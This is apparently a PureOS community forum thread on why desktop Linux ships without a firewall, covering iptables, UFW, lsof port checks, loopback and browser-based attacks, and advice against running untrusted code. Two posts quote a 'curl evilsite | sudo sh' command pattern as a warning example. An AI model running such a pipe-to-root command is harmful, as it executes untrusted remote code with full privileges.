Not recommended to use a firewall?


#1

I see that pureos not have a firewall installed by default.
i wondering why this is. is it not recommended to use a firewall?


#2

neither does Debian/Ubuntu and the rest of them … it’s my impression that this is so because security people have dedicated firewalls … so they don’t need one to run on their internet box …

but apt install firewall-config will get you one regardless …


#3

If you use PureOS as a server starting services, then you need to protect them by a firewall, otherwise if you use it as a desktop, you do not need.


#4

There is no “one size fits all” answer to that.

It depends on the complexity of your internal network, whether you choose to focus firewall at the internet gateway - with or without a dedicated appliance, whether you have Layer 2 filtering switches, what applications you run, whether you will accept that some applications might give weird errors if blocked by a firewall, whether you consider able to diagnose and fix problems caused by a firewall, whether some applications in part do their own filtering, whether you run IPv6, what your threat model is.

Having said all that, I will give a “one size fits all” answer. Yes, you should have a firewall somewhere.

I am assuming that your network is connected to the internet. :slight_smile:

Quite apart from what you do with firewalls, there are other relevant considerations such as reducing your attack surface i.e. picking up on @Freedom_Right’s point, don’t install and/or run “stuff” that you don’t need.


#5

You do have a firewall, the Linux kernel networking stack basically doesn’t exist without one. What you don’t have is a fancy frontend to that firewall. There is a non-fancy frontend, called iptables. You can use it to block traffic.

That said, the default state on Linux for the firewall is permissive, that is you have to blacklist anything you want blocked, rather than restrictive with a whitelist. Windows is the opposite. The reason is that Linux doesn’t by default listen with dangerous services on ports, unlike Windows (no remote shutdown, for example). I hear that Windows is less bad than it used to be, but back in the Vista days, the mean time to infection for an un-firewalled windows PC was about 10 minutes…

If you use lsof, you can get a list of all ports which are accepting connections. On an out of the box linux machine, you’ll find the list is rather short, and all of the ports require authentication. If you start adding services without authentication, then you’ll need to configure a firewall, either at your network edge (router) or on your local machine. If you take your computer to the local coffee shop, you’ll want to configure your firewall if you have any unauthenticated services. Also, if you don’t control your house router (if it’s not OpenWRT or similar), you can’t trust your local network as much as you’d like to.


#6

I’ve found that UFW (Uncomplicated FireWall) is a useful tool and a fairly straight forward way for folks to manage firewalls. There is lots of good documentation on it as well.


#7

aye, this is a common problem for GNU/Linux distributions that come with Steam and other gaming stuff preinstalled (looking at you Manjaro-Gnome) … they also come with a firewall graphical front-end preinstalled

and because competitive-online-gamers look for the most cutting edge routers to boost their wifi speed they probably aren’t too concerned about the firmware being non-free

for me it’s only Chess so latency is not yet a problem for me … :sweat_smile:


#8

Specifically you may want lsof -i otherwise you will get zillions of lines of unrelated output. netstat (with appropriate options) is an alternative.

Yes e.g. just sshd. Or none at all if you always manage locally.

It may be acceptable to ignore, for the purposes of this discussion, services that are listening on 127/8 (or the IPv6 equivalent). However I have heard of blended attacks where a weakness in one service is used to relay through to localhost and thereby to attack another service that ostensibly does not need to be firewalled.


#9

I usually run lsof | grep LISTEN, as that lets me see what all is listening, including multiple copies of a program sharing an interface and port. Also not a bad idea to lsof | grep UNIX as that shows you programs using unix sockets.

Depending on what distro you install, you might have nginx or apache running on port 80, you might have X11 listening on the network (if the system is old, that’s usually a bad idea). But that’s about it.

As for blended attacks, javascript running in your browser can launch a DoS attack against anything on your local network, including the loopback interface, by issuing HTTP and websocket requests. Not likely to get beyond DoS, but it does demonstrate the possible threat. Poorly written applications can easily be crashed when they get what is essentially garbage input.


#10

Good point - and in practice you can’t firewall the loopback interface.


#11

There are things you can do, if your risk profile is such that it warrants the headache. For example, 127.0.0.anything counts as loopback localhost, so you can make things which require localhost listen on 127.0.0.5 or something, and firewall off 127.0.0.1. Of course, you’ll have to beat on any application which hardcodes 127.0.0.1. You can also usually redirect local loopback stuff over unix sockets, I even have an LD_PRELOADable library which takes arbitrary TCP sockets (connect or listen) and redirects them to /tmp/transparent/$interface/$port and uses file handle passing to hide what’s going on from the interested application (complete with reflection-magicking select call).

That said, the only real solution is to avoid running untrusted code in the first place. Put it in a VM, better, put it on isolated hardware (Raspberry Pis are cheap, and aren’t x86, so lots of low level exploits will fail). At the last, extensions like no-script are strictly needed when visiting untrusted sites.


#12

cupsd is using localhost which gives 127.0.0.1 and cups would be in use on many systems, so one would need to mung /etc/cups/cupsd.conf for starters.

I’m not convinced that a web browser should allow this sort of connection (internal, whether localhost or not) by default where the web site is external. Ditto, but harder, a mail client.

However, yes, noone should want to run untrusted code.

I would assume that you have about 24 bits to play with i.e. 127.x.y.z counts as loopback. There are enough addresses for everyone. :wink:


#13

Oh yeah, add cupsd to the list of things that may be listening out-of-the-box on some distros. I quite happily haven’t had to deal with cupsd in several years now, as I wrote a userspace driver for the b&w dotmatrix printer I have to support, and the other printer takes PDfs over the network. Honestly, printing on Linux is one of the weakest areas, as cups (at least used to) regularly eats itself in one way or another.

It relatively easy to configure your web browser not to allow those connections. Just put a socks5 proxy in line (you can use twisted to do it in a dozen lines or less) and don’t exempt localhost or 127.0.0.1 from the proxy list (and have the proxy server block them, obviously). Only catch is it’s hard to let genuine local traffic through, as you have to start messing with referrer headers. I do agree that non-local content should require permission to access local resources. In theory, it can’t, as the local resource has to specifically allow cross site scripting access, but that doesn’t stop the DoS attack against a non-HTTP service (and the reply is accepted by your OS kernel, passed to your browser, then denied to the JS environment, so it can be still used in timing/sidechannel attacks). I don’t see any browser likely to solve this issue though…

16 million interfaces, at 65 thousand ports each ought to be enough for anyone… I don’t know of any application where you can move to 127.0.0.2 but objects to 127.1.2.3 or similar (which isn’t to say such a program doesn’t exist, as crazy stuff makes it to production all the time).


#14

what kernel version number and bellow did you have in mind ?


#15

Nothing to do with the kernel, it’s a configuration issue. All the sane distros added -nolisten tcp to the default Xorg commandline sometime between 2007 and 2011, but it wasn’t until 2015 that Xorg itself made that the default. So you may sometimes still find a server, which was supposed to be headless, with Xorg added but miss-configured. Of course, that sort of server (the one someone set up in a dark closet and forgot) is also the type that may still have the broken bash or ssh which allow remote code execution, since it’s been 5 year (but it’s only been 5 years).


#16

When deciding whether to use any particular security measure, it’s useful to understand what the threat is and how the security measure might address it. In the case of a firewall, the threat is usually from an attacker accessing or attacking a service over the network that is only intended for trusted IPs. So if you have a database server, you might use a firewall to limit access to particular IP address ranges on your internal network. You might block all but internally-routable IP addresses, just in case the database gets exposed to the bare Internet. Or you might forego using a firewall and focus your attention instead on strong authentication measures so only trusted, authenticated clients can talk to the database. Or you might do all of the above so you have defense in depth.

Most desktop distributions (like PureOS) do not enable a firewall by default because there is little value in it–these days there are usually no services running on the desktop distribution by default that are listening for incoming (ingress) connections that you would want to firewall off from the outside world. Most desktop distributions don’t even enable SSH by default. From the outside world, there is little for an attacker to attack over the network that a firewall would help with. While you could block outgoing connections, since the distribution doesn’t know what kind of services and networks you may want to connect to, it can’t effectively set up outgoing (or egress) firewall rules.

The main risk of attack on a desktop isn’t from an attacker accessing a web server, database, or other service running on the desktop (it normally wouldn’t be running any of these services). The main risk comes from the web browser, which is constantly downloading and executing untrusted javascript from every website you visit. The secondary risk comes from downloading and executing code from an untrusted source outside of the web browser, whether that’s from an email attachment or blindly following a “curl www.evilsite.evil/badcode | sudo sh” installation document online.

For the first risk, PureOS has offered Purebrowser in the past which enabled some privacy-enhancing extensions by default. Recently we started making the transition over to Epiphany both to align better with PureOS on the Librem 5, as well as to make it easier to sandbox webapps on the desktop, both with the native Epiphany features that make a site a web app, and ultimately by wrapping the browser in technology like bubblewrap.

The second risk is why we stress the importance of downloading and installing software from our trusted and signed PureOS repository and as we expand the “PureOS Store” we will do so with applications that are reproducibily built so you have an extra degree of safety when installing them.


#17

I block the Microsoft Windows file and printer sharing ports outgoing - mainly in case a guest brings a Windows device. However that’s at the internet gateway not on individual devices. Blocking on individual devices would be counterproductive if someone is actually using this e.g. Samba.

As you say, I am not expecting anyone to set that up by default - although you don’t hear of people intentionally running these protocols bare on the internet. (Some ISPs even block these ports by default.)


#18

i agree it’s easy for somebody coming from windows to have expectations regarding the firewall front-end being installed by default and it’s WAY easier to think of it in terms of something that magically just keeps evil outside while not being massaged at all …

i don’t think we can begin to say enough cautionary tales about this.

for people who prefer to use the latest FireFox or FireFox ESR just install the following extensions

  1. uBlock Origin by Raymond Hill
  2. Privacy Badger by EFF (Electronic Frontier Foundation)
  3. and last but not least > https://www.gnu.org/software/librejs/

some websites require serious massaging if you run this configuration in conjunction with heavy privacy browser oriented settings. you guys have a great blog post introducing users to this topic but it’s barely scratching the surface …

but the worst enemy yet is the fact that we forget … sometimes even very important stuff … that’s why imo we should revise certain topics from time to time just to keep important stuff freshly ALIVE and KICKING in our mind … “keep the edge sharp” as they say :slight_smile:


#19

Coming from Windows enviro and utilizing Kasperski there, this is really my first intro to Linux with PureOS. Confused about the whole topic, but this thread is helpful in getting my head around some of it.
Any additional suggestions to steer me in the right direction?


#20

Just to reiterate that you should not download and run random stuff from the internet, including “scripts”, and especially anything of the general form curl somesite.com/ | sudo bash. The odds are good that anything you need is available in your software repository.

This includes attachments from email too.

If you need something from the internet, and it is a script of some kind, make sure you review and understand what it actually does (not what someone else says it does) before you run it.